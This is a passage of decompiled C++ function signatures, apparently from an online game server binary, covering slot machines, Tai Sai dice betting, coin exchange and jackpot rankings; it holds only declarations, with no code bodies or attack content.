CHttpConnect::MakeAddress(CHttpConnect *this); void __thiscall LuaScriptSecurity::LuaScriptSecurity(LuaScriptSecurity *this); void __thiscall LuaScriptSecurity::_LuaScriptSecurity(LuaScriptSecurity *this); int __thiscall CHttpConnect::GetToken(CHttpConnect *this, GET_TOKEN *pGetToken); int __thiscall CHttpConnect::InitConnection(CHttpConnect *this, unsigned int nTimeOut); int __thiscall CHttpConnect::QueryToServer(CHttpConnect *this); int __cdecl Send_NC_LOG_GAME_DATA_TYPE_F(unsigned int nType, unsigned int nCharNo, Name3 sMap, unsigned int nMapX, unsigned int nMapY, unsigned int nMapZ, unsigned int nTargetID, unsigned __int64 nItemKey, unsigned int nInt1, unsigned int nInt2, unsigned int nInt3, unsigned __int64 nBigint1); int __cdecl Send_NC_LOG_GAME_DATA_TYPE_G(unsigned int nType, unsigned int nCharNo, Name3 sMap, unsigned int nMapX, unsigned int nMapY, unsigned int nMapZ, unsigned int nTargetID, unsigned __int64 nItemKey, unsigned int nInt1, unsigned int nInt2, unsigned __int64 nBigint1); void __thiscall CGambleObject::CGambleObject(CGambleObject *this); void __thiscall CGambleObject::_CGambleObject(CGambleObject *this); char __thiscall CGambleObject::go_Init_NpcObject(CGambleObject *this, #593 *pGambleNPC); char __thiscall CGambleObject::go_Init_PlayerObject(CGambleObject *this, int MaxPlayerCnt); char __thiscall CGambleObject::go_Init_nWhoStandHnd(CGambleObject *this, int MaxWhoStanCnt); char __thiscall CGambleObject::go_Enter_Player(CGambleObject *this, #593 *pEntPlayer); #593 *__thiscall CGambleObject::go_Find_Player(CGambleObject *this, unsigned int nCharNo); char __thiscall CGambleObject::go_Get_EnterPlayerCnt(CGambleObject *this); #593 *__thiscall CGambleObject::go_Get_EnterPlayer(CGambleObject *this, int Index); char __thiscall CGambleObject::go_Get_EnterPlayerIndex(CGambleObject *this, int *nGetIndex, #593 *pObj); char __thiscall CGambleObject::go_Get_EnterPlayerIndex(CGambleObject *this, int *nGetIndex, unsigned __int16 nHandle); char __thiscall CGambleObject::go_Get_EnterPlayerIndex(CGambleObject *this, int *nGetIndex, unsigned int nCharNo); char __thiscall CGambleObject::go_CanEnter(CGambleObject *this); char __thiscall CGambleObject::go_WhereStand(CGambleObject *this, char *pWhereStand); char __thiscall CGambleObject::go_CanWhereStand(CGambleObject *this, char nWhereStand); char __thiscall CGambleDiceTaiSaiObject::go_CanLevel(CGambleDiceTaiSaiObject *this, char nLevel); unsigned __int16 __thiscall CGambleObject::SMS_StopButton(CGambleObject *this, #593 *, PROTO_NC_GAMBLE_SLOTMACHINE_STOPBUTTON_ACK *); unsigned __int16 __thiscall CGambleObject::SMS_WheelStop(CGambleObject *this, #593 *player); unsigned __int16 __thiscall CGambleObject::SMS_WheelStop(CGambleObject *this, #593 *, PROTO_NC_GAMBLE_SLOTMACHINE_DB_RESULT_ACK *, PROTO_NC_GAMBLE_SLOTMACHINE_WHEELSTOP_ACK *); char __thiscall CGambleObject::go_MaxPlayerInObject(CGambleObject *this, MobType mobtype); char __thiscall CGambleObject::go_Out_Player(CGambleObject *this, #593 *pOutPlayer); GBEventCode *__thiscall SHND::CommonData::cd_Find(SHND::CommonData *this, SHND::CmpEventCode cmp); char __thiscall CGambleDiceTaiSaiObject::go_Init(CGambleDiceTaiSaiObject *this, #593 *pGambleNPC); void __thiscall CGambleObject::go_PlayerAction(CGambleObject *this, #593 *, MobType, GB_ANIType *, int); void __thiscall SHND::CommonData>::CommonData>(SHND::CommonData *this, char *shn); int __thiscall CGambleObjectManager::gom_GetGambleObjectMaxCnt(CGambleObjectManager *this, GAMBLE_TYPE nGambleType); CGambleObject *__thiscall CGambleObjectManager::gom_GetGambleObject(CGambleObjectManager *this, GAMBLE_TYPE nGambleType, unsigned __int16 nIndex); CGambleObject *__thiscall CGambleObjectManager::gom_FindGambleObject(CGambleObjectManager *this, unsigned int nCharNo, GAMBLE_TYPE GambleType); void __thiscall CGambleObjectManager::gom_SetNeedRecalDiceRankInfo(CGambleObjectManager *this); char __thiscall CGambleObjectManager::gom_GetDiceRankInfo(CGambleObjectManager *this, GDT_DiceRankInfo *pDiceRankInfo, char *pDiceRankInfoCnt); CGambleObject *__thiscall CGambleObjectManager::gom_GetGambleObject(CGambleObjectManager *this, unsigned __int16 nNpcHandle); #593 *__thiscall CGambleObjectManager::gom_FindPlayerObject(CGambleObjectManager *this, unsigned int nCharNo); void __thiscall CGambleObjectManager::gom_Routine(CGambleObjectManager *this); void __thiscall CGambleObjectManager::_CGambleObjectManager(CGambleObjectManager *this); void __thiscall std::vector>::_Xlen(std::vector > *this); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, CGambleObject *const *_Val); void __thiscall CGambleObjectManager::CGambleObjectManager(CGambleObjectManager *this); void __thiscall std::vector>::push_back(std::vector > *this, CGambleObject *const *_Val); char __thiscall CGambleObjectManager::gom_Init(CGambleObjectManager *this); bool __thiscall ShineObjectClass::ShinePlayer::so_Gamble_IsGambleHouse(int this); void __thiscall ShineObjectClass::ShinePlayer::so_Gamble_CharCoinData(void *this, int pCoinData); bool __thiscall ShineObjectClass::ShinePlayer::so_Gamble_CanJoinGamble(int this, int nGambleType); bool __thiscall ShineObjectClass::ShinePlayer::so_Gamble_IsJoinThisGamble(int this, int nGambleType); bool __thiscall ShineObjectClass::ShinePlayer::so_Gamble_IsJoinAnyGamble(int this, int gt); char __thiscall ShineObjectClass::ShinePlayer::so_Gamble_SetGambleType(int this, int nGambleType); char __thiscall ShineObjectClass::ShinePlayer::so_Gamble_IsCanSessionCloseing(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_Gamble_DirectInfoBroadcastSet(int this, char nDirect); // void __userpurge ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_GAMBLEHOUSE_EXIT_REQ(int a1, int a2, int netcmd, int len, __int16 handle); // void __userpurge ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_COIN_VIPCARD_UI_OPEN_REQ(int a1, int a2, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_TYPE_AND_WHERE_STAND_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_Gamble_PrevMapNameSave2World(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_Gamble_CoinDataSave2World(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_Gamble_ChangeCoin(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_Gamble_ChangeExchangedCoin(void *this); // void __userpurge ShineObjectClass::ShinePlayer::sp_Gamble_UseCoinItem(int a1, int a2, int a3, int slot, int itm, int iteminven, int a7, int a8); void __thiscall WorldManagerSession::wms_NC_GAMBLE_ZONE_PREVMAPNAME_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_COININFO_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_GAMBLE_EXCHANGEDCOIN_DB_INFO_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_GAMBLE_COIN_DB_BUY_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_GAMBLE_COIN_DB_SELL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_GAMBLE_COIN_DB_USE_COINITEM_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GAMBLE_EXCHANGEDCOIN_INIT_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall CGambleDiceTaiSaiObject::CGambleDiceTaiSaiObject(CGambleDiceTaiSaiObject *this); void __thiscall CGambleDiceTaiSaiObject::_CGambleDiceTaiSaiObject(CGambleDiceTaiSaiObject *this); char __thiscall CGambleDiceTaiSaiObject::go_Init_MaxPlayer(CGambleDiceTaiSaiObject *this, char nMaxPlayer); char __thiscall SlotMachine::SlotMachineScreen::go_Init_MaxPlayer(SlotMachine::SlotMachineScreen *this, char nMaxPlayer); DICE_TAISAI_GAME_STATUS __thiscall CGambleDiceTaiSaiObject::GDTSO_GetGameStatus(CGambleDiceTaiSaiObject *this); unsigned __int16 __thiscall CGambleObject::go_SendGameInfo(CGambleObject *this, #593 *pPlayObj); unsigned __int16 __thiscall CGambleObject::GDTSO_SendTaiSaiBettingInfo(CGambleObject *this, #593 *pPlayObj); signed __int16 __stdcall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_BroadEnter(int pPlayObj); unsigned __int16 __thiscall CGambleObject::GDTSO_DiceTaiSai_Out(CGambleObject *this, #593 *pPlayObj); unsigned __int16 __thiscall CGambleObject::GDTSO_DiceTaiSai_BroadOut(CGambleObject *this, #593 *, char); unsigned __int16 __thiscall CGambleObject::GDTSO_DiceTaiSai_BroadBetting(CGambleObject *this, DiceTaiSaiBetting *pTaiSaiBetting, DICE_TAISAI_BETTING_TYPE nBettingType); unsigned __int16 __thiscall CGambleObject::GDTSO_DiceTaiSai_BettingCancel(CGambleObject *this, #593 *, DiceTaiSaiBetting *); unsigned __int16 __thiscall CGambleObject::GDTSO_DiceTaiSai_DiceRoll(CGambleObject *this); unsigned __int16 __thiscall CGambleObject::GDTSO_DiceTaiSai_MoneyResult_DiceRoll(CGambleObject *this, PROTO_NC_GAMBLE_DICE_TAISAI_DB_DICE_ROLL_RESULT_ACK *pDBAck); signed __int16 __cdecl ShineObjectClass::ShineObject::so_mh_DiceTaiSai_CanAutoDiceRoll(); int __cdecl CGambleDiceTaiSaiObject::GDTSO_RankSortCompare(const void *a, const void *b); void __thiscall CGambleDiceTaiSaiObject::go_Routine(CGambleDiceTaiSaiObject *this); unsigned __int16 __thiscall CGambleDiceTaiSaiObject::go_SendGameInfo(CGambleDiceTaiSaiObject *this, #593 *pPlayObj); unsigned __int16 __thiscall CGambleDiceTaiSaiObject::GDTSO_SendTaiSaiBettingInfo(CGambleDiceTaiSaiObject *this, #593 *pPlayObj); unsigned __int16 __thiscall CGambleDiceTaiSaiObject::GDTSO_DiceTaiSai_Enter(CGambleDiceTaiSaiObject *this, #593 *pPlayObj); unsigned __int16 __thiscall CGambleDiceTaiSaiObject::GDTSO_DiceTaiSai_BroadEnter(CGambleDiceTaiSaiObject *this, #593 *pPlayObj); unsigned __int16 __thiscall CGambleDiceTaiSaiObject::GDTSO_DiceTaiSai_BroadOut(CGambleDiceTaiSaiObject *this, #593 *, char); unsigned __int16 __thiscall CGambleDiceTaiSaiObject::GDTSO_DiceTaiSai_CanBetting(CGambleDiceTaiSaiObject *this, #593 *, DiceTaiSaiBetting *); unsigned __int16 __thiscall CGambleDiceTaiSaiObject::GDTSO_DiceTaiSai_BroadBetting(CGambleDiceTaiSaiObject *this, #593 *, DiceTaiSaiBetting *); unsigned __int16 __thiscall CGambleDiceTaiSaiObject::GDTSO_DiceTaiSai_CanBettingCancel(CGambleDiceTaiSaiObject *this, #593 *, DiceTaiSaiBetting *); unsigned __int16 __thiscall CGambleDiceTaiSaiObject::GDTSO_DiceTaiSai_BroadBettingCancel(CGambleDiceTaiSaiObject *this, #593 *, DiceTaiSaiBetting *); unsigned __int16 __thiscall CGambleDiceTaiSaiObject::GDTSO_DiceTaiSai_BroadSetTimer(CGambleDiceTaiSaiObject *this, DiceTaiSaiBetting *pTaiSaiBetting, DICE_TAISAI_BETTING_TYPE nBettingType); char __thiscall CGambleDiceTaiSaiObject::GDTSO_SetDiceTaiSaiAllBettingInfo(CGambleDiceTaiSaiObject *this, GI_DiceTaiSai *pDiceTaiSaiInfo, DiceTaiSaiBetting *pTaiSaiBetting, char *bIsFirstBetting); char __thiscall CGambleDiceTaiSaiObject::GDTSO_SetDiceTaiSaiAllBettingCancelInfo(CGambleDiceTaiSaiObject *this, GI_DiceTaiSai *pDiceTaiSaiInfo, DiceTaiSaiBetting *pTaiSaiBetting, char *bIsLastBettingCancel); char __thiscall CGambleDiceTaiSaiObject::GDTSO_ClearDiceBettingInfo(CGambleDiceTaiSaiObject *this); char __thiscall CGambleDiceTaiSaiObject::GDTSO_SetDiceHistory(CGambleDiceTaiSaiObject *this); char __thiscall CGambleDiceTaiSaiObject::GDTSO_ClearGamerBettingInfo(CGambleDiceTaiSaiObject *this); unsigned __int16 __thiscall CGambleDiceTaiSaiObject::GDTSO_DiceTaiSai_CanAutoDiceRoll(CGambleDiceTaiSaiObject *this); unsigned __int16 __thiscall CGambleDiceTaiSaiObject::GDTSO_DiceTaiSai_DiceRoll(CGambleDiceTaiSaiObject *this); unsigned __int16 __thiscall CGambleDiceTaiSaiObject::GDTSO_DiceTaiSai_BroadDiceRoll(CGambleDiceTaiSaiObject *this); unsigned __int16 __thiscall CGambleDiceTaiSaiObject::GDTSO_DiceTaiSai_MoneyResult_DiceRoll(CGambleDiceTaiSaiObject *this, PROTO_NC_GAMBLE_DICE_TAISAI_DB_DICE_ROLL_RESULT_ACK *pDBAck); unsigned __int16 __thiscall CGambleDiceTaiSaiObject::GDTSO_DiceTaiSai_Result_DiceRoll(CGambleDiceTaiSaiObject *this); unsigned __int16 __thiscall CGambleDiceTaiSaiObject::GDTSO_DiceTaiSai_ResultLog_DiceRoll(CGambleDiceTaiSaiObject *this, int nGameNo); unsigned __int16 __thiscall CGambleDiceTaiSaiObject::GDTSO_DiceTaiSai_BroadResult_DiceRoll(CGambleDiceTaiSaiObject *this); unsigned __int16 __thiscall CGambleDiceTaiSaiObject::GDTSO_DiceTaiSai_BroadEmotion_DiceRoll(CGambleDiceTaiSaiObject *this, PROTO_NC_GAMBLE_DICE_TAISAI_DB_DICE_ROLL_RESULT_ACK *pDBAck); unsigned __int16 __thiscall CGambleDiceTaiSaiObject::GDTSO_DiceTaiSai_PrepareNextGame(CGambleDiceTaiSaiObject *this); char __thiscall CGambleDiceTaiSaiObject::GDTSO_ExcuteLeaveGame(CGambleDiceTaiSaiObject *this); void __thiscall CGambleDiceTaiSaiObject::go_PlayerUnmarking(CGambleDiceTaiSaiObject *this, #593 *player); char __thiscall CGambleDiceTaiSaiObject::GDTSO_DiceTaiSai_BroadLargeAmount(CGambleDiceTaiSaiObject *this); char __thiscall CGambleDiceTaiSaiObject::GDTSO_ClearDiceTaiSaiInfo(CGambleDiceTaiSaiObject *this); char __thiscall CGambleDiceTaiSaiObject::GDTSO_SetDiceFix(CGambleDiceTaiSaiObject *this, DiceTaiSaiInfo *pDiceNum); char __thiscall CGambleDiceTaiSaiObject::GDTSO_SetDiceProbability(CGambleDiceTaiSaiObject *this, DiceTaiSaiInfo *pDiceNum, unsigned __int16 nDiceRate); GI_DiceTaiSai *__thiscall CGambleDiceTaiSaiObject::GDTSO_GetDiceTaiSaiInfo(CGambleDiceTaiSaiObject *this, int nIndex); GI_DiceTaiSai *__thiscall CGambleDiceTaiSaiObject::GDTSO_GetDiceTaiSaiInfo(CGambleDiceTaiSaiObject *this, #593 *pPlayerObj); GI_DiceTaiSai *__thiscall CGambleDiceTaiSaiObject::GDTSO_GetDiceTaiSaiInfo(CGambleDiceTaiSaiObject *this, unsigned __int16 nHandle); GI_DiceTaiSai *__thiscall CGambleDiceTaiSaiObject::GDTSO_GetDiceTaiSaiInfo(CGambleDiceTaiSaiObject *this, unsigned int nCharNo); unsigned int *__thiscall CGambleDiceTaiSaiObject::GDTSO_GetTotalWinCnt(CGambleDiceTaiSaiObject *this, int nIndex); unsigned int *__thiscall CGambleDiceTaiSaiObject::GDTSO_GetTotalWinCnt(CGambleDiceTaiSaiObject *this, #593 *pPlayerObj); unsigned int *__thiscall CGambleDiceTaiSaiObject::GDTSO_GetTotalWinCnt(CGambleDiceTaiSaiObject *this, unsigned __int16 nHandle); unsigned int *__thiscall CGambleDiceTaiSaiObject::GDTSO_GetTotalWinCnt(CGambleDiceTaiSaiObject *this, unsigned int nCharNo); char __thiscall CGambleDiceTaiSaiObject::GDTSO_GetDiceTaiSaiGameLeaveInfo(CGambleDiceTaiSaiObject *this, #593 *, char *); char __thiscall CGambleDiceTaiSaiObject::GDTSO_SetDiceTaiSaiGameLeaveInfo(CGambleDiceTaiSaiObject *this, #593 *, char); unsigned __int16 __thiscall CGambleDiceTaiSaiObject::GDTSO_DiceTaiSai_Out(CGambleDiceTaiSaiObject *this, #593 *pPlayObj); unsigned __int16 __thiscall CGambleDiceTaiSaiObject::GDTSO_DiceTaiSai_Betting(CGambleDiceTaiSaiObject *this, #593 *, DiceTaiSaiBetting *); unsigned __int16 __thiscall CGambleDiceTaiSaiObject::GDTSO_DiceTaiSai_BettingCancel(CGambleDiceTaiSaiObject *this, #593 *, DiceTaiSaiBetting *); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_GAME_JOIN_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_GAME_LEAVE_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_ALL_RANK_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_CURR_RANK_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_BETTING_REQ(void *this, int netcmd, __int16 nError, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_DICE_TAISAI_BETTING_CANCEL_REQ(void *this, int netcmd, __int16 nError, __int16 handle); void __thiscall GameDBSession::gds_NC_GAMBLE_DICE_TAISAI_DB_DICE_ROLL_RESULT_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_GAMBLE_DICE_TAISAI_DB_ALL_RANK_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GppPacketSaver::_GppPacketSaver(GppPacketSaver *this); void __thiscall SlotMachine::SlotMachineScreen::SlotMachineScreen(SlotMachine::SlotMachineScreen *this); void __thiscall SlotMachine::SlotMachineScreen::_SlotMachineScreen(SlotMachine::SlotMachineScreen *this); void __thiscall SlotMachine::SlotMachineCluster::SlotMachineCluster(SlotMachine::SlotMachineCluster *this); // void __thiscall SlotMachine::SlotMachineCluster::_SlotMachineCluster(SlotMachine::SlotMachineCluster *this); char __thiscall SlotMachine::SlotMachineCluster::go_Init(SlotMachine::SlotMachineCluster *this, #593 *pGambleNPC); char __thiscall CQuest::GetQuestPlayerGender(CQuest *this); char *__cdecl ShineObjectClass::ShineObject::so_ply_GodOfSlotMachine(); int __thiscall ShineObjectClass::ShinePlayer::so_ply_GodOfSlotMachine(void *this); unsigned int __thiscall std::vector>::size(std::vector > *this); unsigned int __thiscall std::vector>::size(std::vector > *this); unsigned int __thiscall std::vector>::size(std::vector > *this); std::_Tree_nod,std::allocator,0> >::_Node *__cdecl std::_Tree_std::allocator_0>>::_Max(std::_Tree_nod,std::allocator,0> >::_Node *_Pnode); std::_Tree_nod,std::allocator,0> >::_Node *__cdecl std::_Tree_std::allocator_0>>::_Min(std::_Tree_nod,std::allocator,0> >::_Node *_Pnode); void __thiscall std::_Tree_std::allocator_0>>::const_iterator::_Inc(std::_Tree,std::allocator,0> >::const_iterator *this); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall BinaryDataBox::_BinaryDataBox(MobResistTable *this); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __cdecl std::fill(char *_First, char *_Last, const char *_Val); void __cdecl std::fill(GBSMAll *_First, GBSMAll *_Last, GBSMAll *_Val); void __cdecl std::fill(GBSMCenter *_First, GBSMCenter *_Last, GBSMCenter *_Val); void __cdecl std::fill(SLOTMACHINE_JackPotRank *_First, SLOTMACHINE_JackPotRank *_Last, SLOTMACHINE_JackPotRank *_Val); SlotMachine::SlotMachineScreenManager::NPCvsBetType *__cdecl std::_Copy_backward_opt(SlotMachine::SlotMachineScreenManager::NPCvsBetType *_First, SlotMachine::SlotMachineScreenManager::NPCvsBetType *_Last, SlotMachine::SlotMachineScreenManager::NPCvsBetType *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); SLOTMACHINE_JackPotRank *__cdecl std::_Copy_opt(SLOTMACHINE_JackPotRank *_First, SLOTMACHINE_JackPotRank *_Last, SLOTMACHINE_JackPotRank *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); SLOTMACHINE_JackPotRank *__cdecl std::_Copy_backward_opt(SLOTMACHINE_JackPotRank *_First, SLOTMACHINE_JackPotRank *_Last, SLOTMACHINE_JackPotRank *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); void __cdecl std::swap(SLOTMACHINE_JackPotRank *_Left, SLOTMACHINE_JackPotRank *_Right); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_SLOTMACHINE_GAME_JOIN_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_SLOTMACHINE_GAME_LEAVE_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_SLOTMACHINE_START_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_SLOTMACHINE_STOPBUTTON_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_SLOTMACHINE_JACKPOTRANKING_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GAMBLE_SLOTMACHINE_WINRANKING_REQ(void *this, int netcmd, int len, __int16 handle); CGambleObject *__thiscall SlotMachine::SlotMachineCluster::go_FindSubGambleObject(SlotMachine::SlotMachineCluster *this, unsigned int chrregnum); char __thiscall SlotMachine::SlotMachineScreen::sms_PlayerReady(SlotMachine::SlotMachineScreen *this, #593 *, PROTO_NC_GAMBLE_SLOTMACHINE_GAME_JOIN_ACK *); char __thiscall SlotMachine::SlotMachineCluster::go_Enter_Player(SlotMachine::SlotMachineCluster *this, #593 *pEntPlayer); char __thiscall SlotMachine::SlotMachineCluster::go_Out_Player(SlotMachine::SlotMachineCluster *this, #593 *pOutPlayer); void __thiscall SlotMachine::SlotMachineCluster::go_Routine(SlotMachine::SlotMachineCluster *this); void __thiscall SlotMachine::SlotMachineCluster::go_PlayerUnmarking(SlotMachine::SlotMachineCluster *this, #593 *player); void __thiscall SlotMachine::SlotMachineScreen::go_PlayerUnmarking(SlotMachine::SlotMachineScreen *this, #593 *player); unsigned __int16 __thiscall SlotMachine::SlotMachineScreen::SMS_Start(SlotMachine::SlotMachineScreen *this, #593 *, PROTO_NC_GAMBLE_SLOTMACHINE_START_REQ *); unsigned __int16 __thiscall SlotMachine::SlotMachineScreenManager::smsm_BettingAtOnce(SlotMachine::SlotMachineScreenManager *this, GBSMBetType type); void __thiscall GameDBSession::gds_NC_GAMBLE_SLOTMACHINE_DB_RESULT_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_ply_IBurstJackPot(void *this, int price, int a3); void __thiscall ShineObjectClass::ShinePlayer::so_ply_SlotMachineDBResult(void *this, int dback); unsigned __int16 __thiscall SlotMachine::SlotMachineScreen::SMS_WheelStop(SlotMachine::SlotMachineScreen *this, #593 *, PROTO_NC_GAMBLE_SLOTMACHINE_DB_RESULT_ACK *, PROTO_NC_GAMBLE_SLOTMACHINE_WHEELSTOP_ACK *); void __thiscall std::_Tree_std::allocator_0>>::_Lrotate(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode); void __thiscall std::_Tree_std::allocator_0>>::_Rrotate(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode); void __thiscall std::_Tree_std::allocator_0>>::const_iterator::_Dec(std::_Tree,std::allocator,0> >::const_iterator *this); void __cdecl std::fill(SlotMachine::SlotMachineScreenManager::NPCvsBetType *_First, SlotMachine::SlotMachineScreenManager::NPCvsBetType *_Last, SlotMachine::SlotMachineScreenManager::NPCvsBetType *_Val); GBSMAll *__cdecl std::copy_backward(GBSMAll *_First, GBSMAll *_Last, GBSMAll *_Dest); GBSMCenter *__cdecl std::copy_backward(GBSMCenter *_First, GBSMCenter *_Last, GBSMCenter *_Dest); GBSMAll *__cdecl std::_Uninit_copy>(GBSMAll *_First, GBSMAll *_Last, GBSMAll *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); GBSMCenter *__cdecl std::_Uninit_copy>(GBSMCenter *_First, GBSMCenter *_Last, GBSMCenter *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __cdecl std::_Push_heap>::iterator_int_SLOTMACHINE_JackPotRank>(std::vector >::iterator _First, int _Hole, int _Top, SLOTMACHINE_JackPotRank _Val); void __cdecl std::_Rotate>::iterator_int_SLOTMACHINE_JackPotRank>(std::vector >::iterator _First, std::vector >::iterator _Mid, std::vector >::iterator _Last, int *__formal, SLOTMACHINE_JackPotRank *__formal); unsigned __int16 __thiscall SlotMachine::SlotMachineCluster::go_SendGameInfo(SlotMachine::SlotMachineCluster *this, #593 *pPlayObj); void __thiscall std::_Tree_std::allocator_0>>::_Erase(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Rootnode); std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Buynode(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Larg, std::_Tree_nod,std::allocator,0> >::_Node *_Parg, std::_Tree_nod,std::allocator,0> >::_Node *_Rarg, const unsigned __int16 *_Val, char _Carg); std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Buynode(std::_Tree,std::allocator,0> > *this); void __cdecl std::_Uninit_fill_n>(GBSMAll *_First, unsigned int _Count, GBSMAll *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __cdecl std::_Uninit_fill_n>(GBSMCenter *_First, unsigned int _Count, GBSMCenter *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); SlotMachine::SlotMachineScreenManager::NPCvsBetType *__cdecl std::_Uninit_copy>(SlotMachine::SlotMachineScreenManager::NPCvsBetType *_First, SlotMachine::SlotMachineScreenManager::NPCvsBetType *_Last, SlotMachine::SlotMachineScreenManager::NPCvsBetType *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __cdecl std::_Median>::iterator>(std::vector >::iterator _First, std::vector >::iterator _Mid, std::vector >::iterator _Last); void __cdecl std::_Adjust_heap>::iterator_int_SLOTMACHINE_JackPotRank>(std::vector >::iterator _First, int _Hole, int _Bottom, SLOTMACHINE_JackPotRank _Val); void __cdecl std::_Pop_heap>::iterator_int_SLOTMACHINE_JackPotRank>(std::vector >::iterator _First, std::vector >::iterator _Last, std::vector >::iterator _Dest, SLOTMACHINE_JackPotRank _Val, int *__formal); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::find(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, const unsigned __int16 *_Keyval); char *__thiscall std::vector>::_Ufill(std::vector > *this, char *_Ptr, unsigned int _Count, const char *_Val); void __cdecl std::_Uninit_fill_n>(SlotMachine::SlotMachineScreenManager::NPCvsBetType *_First, unsigned int _Count, SlotMachine::SlotMachineScreenManager::NPCvsBetType *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __cdecl std::_Uninit_fill_n>(CharaterSkillList::CharSkill *_First, unsigned int _Count, CharaterSkillList::CharSkill *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); std::pair >::iterator,std::vector >::iterator> *__cdecl std::_Unguarded_partition>::iterator>(std::pair >::iterator,std::vector >::iterator> *result, std::vector >::iterator _First, std::vector >::iterator _Last); void __cdecl std::_Make_heap>::iterator_int_SLOTMACHINE_JackPotRank>(std::vector >::iterator _First, std::vector >::iterator _Last, int *__formal, SLOTMACHINE_JackPotRank *__formal); void __cdecl std::_Pop_heap_0>::iterator_SLOTMACHINE_JackPotRank>(std::vector >::iterator _First, std::vector >::iterator _Last, SLOTMACHINE_JackPotRank *__formal); void __thiscall SlotMachine::SlotMachineScreenManager::smsm_Shuffle(SlotMachine::SlotMachineScreenManager *this); GBSMBetType __thiscall SlotMachine::SlotMachineScreenManager::smsm_NPCData(SlotMachine::SlotMachineScreenManager *this, char *npcindex); GBSMLine *__thiscall SlotMachine::SlotMachineAnalyse::sma_1LineMatch(SlotMachine::SlotMachineAnalyse *this, PROTO_NC_GAMBLE_SLOTMACHINE_STOPBUTTON_ACK *buf, int startR, int startC, int dR, int dC); GBSMAll *__thiscall SlotMachine::SlotMachineAnalyse::sma_ScreenMatch(SlotMachine::SlotMachineAnalyse *this, PROTO_NC_GAMBLE_SLOTMACHINE_STOPBUTTON_ACK *buf); GBSMCenter *__thiscall SlotMachine::SlotMachineAnalyse::sma_CenterMatch(SlotMachine::SlotMachineAnalyse *this, 